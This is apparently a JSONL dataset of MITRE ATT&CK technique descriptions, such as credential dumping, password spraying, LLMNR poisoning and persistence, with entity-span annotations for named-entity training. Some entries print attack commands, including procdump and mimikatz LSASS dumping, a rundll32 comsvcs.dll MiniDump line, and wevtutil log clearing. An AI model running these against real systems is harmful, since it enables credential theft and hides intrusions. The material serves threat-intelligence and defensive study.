{"text": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity. An adversary with access to the device may be able to export the keys in order to impersonate the device.\n\nOn network devices, private keys may be exported via Network Device CLI commands such as `crypto pki export`. \n\nSome private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.", "spans": {"TOOL: ssh": [[420, 423], [509, 512]], "SYSTEM: SSH": [[435, 438], [1254, 1257]], "SYSTEM: Windows": [[528, 535]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.004"}}
{"text": "Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.004"}}
{"text": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the `winrm` command or by any number of programs such as PowerShell. WinRM  can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"TOOL: Windows Remote Management": [[73, 98]], "TOOL: WinRM": [[100, 105], [171, 176], [438, 443]], "SYSTEM: Windows": [[199, 206]], "SYSTEM: Registry": [[319, 327]], "TOOL: PowerShell": [[426, 436]], "SYSTEM: Windows Management Instrumentation": [[498, 532]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.006"}}
{"text": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1011.001"}}
{"text": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.", "spans": {"SYSTEM: Access": [[96, 102], [1483, 1489]], "SYSTEM: Windows": [[260, 267]], "SYSTEM: AWS": [[429, 432]], "SYSTEM: Kubernetes": [[500, 510]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078.001"}}
{"text": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`. The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.", "spans": {"SYSTEM: Windows": [[80, 87]], "TOOL: at": [[635, 637]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.003"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.005"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", "spans": {"SYSTEM: Linux": [[342, 347], [957, 962]], "SYSTEM: macOS": [[389, 394]], "TOOL: at": [[599, 601]], "TOOL: iptables": [[1832, 1840]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.006"}}
{"text": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common Network Device CLI commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.\n\nAdversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: Windows": [[283, 290]], "SYSTEM: Linux": [[369, 374]], "SYSTEM: macOS": [[420, 425]], "SYSTEM: Kubernetes": [[670, 680]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136.001"}}
{"text": "Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. \n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.\n\nThis technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.", "spans": {"ORGANIZATION: Intel": [[851, 856]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1681"}}
{"text": "Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.", "spans": {"SYSTEM: Windows": [[490, 497]], "SYSTEM: JavaScript": [[682, 692]], "TOOL: PowerShell": [[928, 938]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1674"}}
{"text": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1092"}}
{"text": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.", "spans": {"SYSTEM: Windows": [[22, 29], [79, 86]], "TOOL: PowerShell": [[624, 634], [673, 683]], "FILEPATH: C:\\Windows\\System32\\winevt\\logs\\`.": [[1025, 1059]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.001"}}
{"text": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes.\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1585.002"}}
{"text": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. \n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.", "spans": {"ORGANIZATION: Microsoft": [[330, 339]], "SYSTEM: Windows": [[340, 347]], "SYSTEM: DNS": [[459, 462]], "SYSTEM: LDAP": [[1837, 1841]], "SYSTEM: SMB": [[1843, 1846]], "SYSTEM: HTTP": [[1858, 1862]], "SYSTEM: NTLM": [[1915, 1919]], "TOOL: Metasploit": [[2022, 2032]], "TOOL: Responder": [[2038, 2047]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.001"}}
{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.", "spans": {"SYSTEM: Unix": [[943, 947]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222"}}
{"text": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>\n\nSimilar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.", "spans": {"SYSTEM: Local Security Authority Subsystem Service": [[90, 132]], "SYSTEM: LSASS": [[134, 139], [233, 238], [455, 460], [1171, 1176]], "SYSTEM: lsass.exe": [[612, 621], [1048, 1057]], "SYSTEM: Windows": [[776, 783], [1067, 1074], [1110, 1117], [1305, 1312], [1738, 1745]], "FILEPATH: C:\\Windows\\System32\\comsvcs.dll": [[852, 883]], "TOOL: at": [[1185, 1187]], "SYSTEM: Registry": [[1418, 1426], [1623, 1631]], "SYSTEM: API": [[1746, 1749]], "SYSTEM: HTTP": [[2035, 2039]], "SYSTEM: Kerberos": [[2102, 2110]], "SYSTEM: Windows 2000": [[2172, 2184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.001"}}
{"text": "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE.   \n\nIn addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., IDE Tunneling).  \n\nTrust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.", "spans": {"SYSTEM: Docker": [[337, 343]], "SYSTEM: SSH": [[663, 666], [708, 711]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176.002"}}
{"text": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595"}}
{"text": "Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.\n\nThe use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.016"}}
{"text": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548"}}
{"text": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.002"}}
{"text": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.", "spans": {"SYSTEM: Linux": [[187, 192], [825, 830]], "SYSTEM: macOS": [[196, 201]], "TOOL: chmod": [[895, 900], [958, 963], [1014, 1019], [1104, 1109], [1132, 1137]], "FILEPATH: /dev/null": [[1822, 1831], [1912, 1921]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.001"}}
{"text": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: \n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "spans": {"SYSTEM: Windows": [[117, 124]], "TOOL: at": [[159, 161]], "SYSTEM: Registry": [[252, 260], [563, 571]], "FILEPATH: \\\\Wow6432Node\\\\]\\Microsoft\\Windows": [[292, 326]], "ORGANIZATION: Microsoft": [[386, 395]], "SYSTEM: Windows NT": [[396, 406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.004"}}
{"text": "Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"SYSTEM: Component Object Model": [[103, 125], [209, 231]], "SYSTEM: DCOM": [[127, 131], [578, 582], [930, 934], [945, 949], [1182, 1186], [1411, 1415]], "SYSTEM: Windows": [[201, 208], [267, 274], [1135, 1142]], "SYSTEM: COM": [[233, 236], [433, 436], [573, 576], [644, 647], [772, 775], [910, 913], [1310, 1313]], "SYSTEM: API": [[310, 313]], "SYSTEM: Registry": [[835, 843]], "SYSTEM: Office": [[1098, 1104]], "SYSTEM: Exchange": [[1266, 1274]], "SYSTEM: DDE": [[1276, 1279]], "SYSTEM: Microsoft Office": [[1336, 1352]], "SYSTEM: Windows Management Instrumentation": [[1469, 1503]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.003"}}
{"text": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. \n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.", "spans": {"SYSTEM: SSH": [[642, 645]], "TOOL: Telnet": [[657, 663]], "TOOL: FTP": [[675, 678]], "SYSTEM: SMB": [[700, 703], [1525, 1528]], "SYSTEM: Samba": [[706, 711]], "SYSTEM: LDAP": [[734, 738], [1343, 1347]], "SYSTEM: Kerberos": [[751, 759], [1352, 1360]], "TOOL: RDP": [[771, 774]], "SYSTEM: HTTP": [[808, 812], [813, 817]], "SYSTEM: Oracle": [[878, 884]], "SYSTEM: MySQL": [[898, 903]], "TOOL: VNC": [[917, 920]], "SYSTEM: Office 365": [[1147, 1157]], "SYSTEM: Windows": [[1450, 1457]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.003"}}
{"text": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "spans": {"TOOL: HTRAN": [[272, 277]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090.002"}}
{"text": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.003"}}
{"text": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).", "spans": {"SYSTEM: Office 365": [[654, 664]], "SYSTEM: API": [[722, 725]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589.002"}}
{"text": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.004"}}
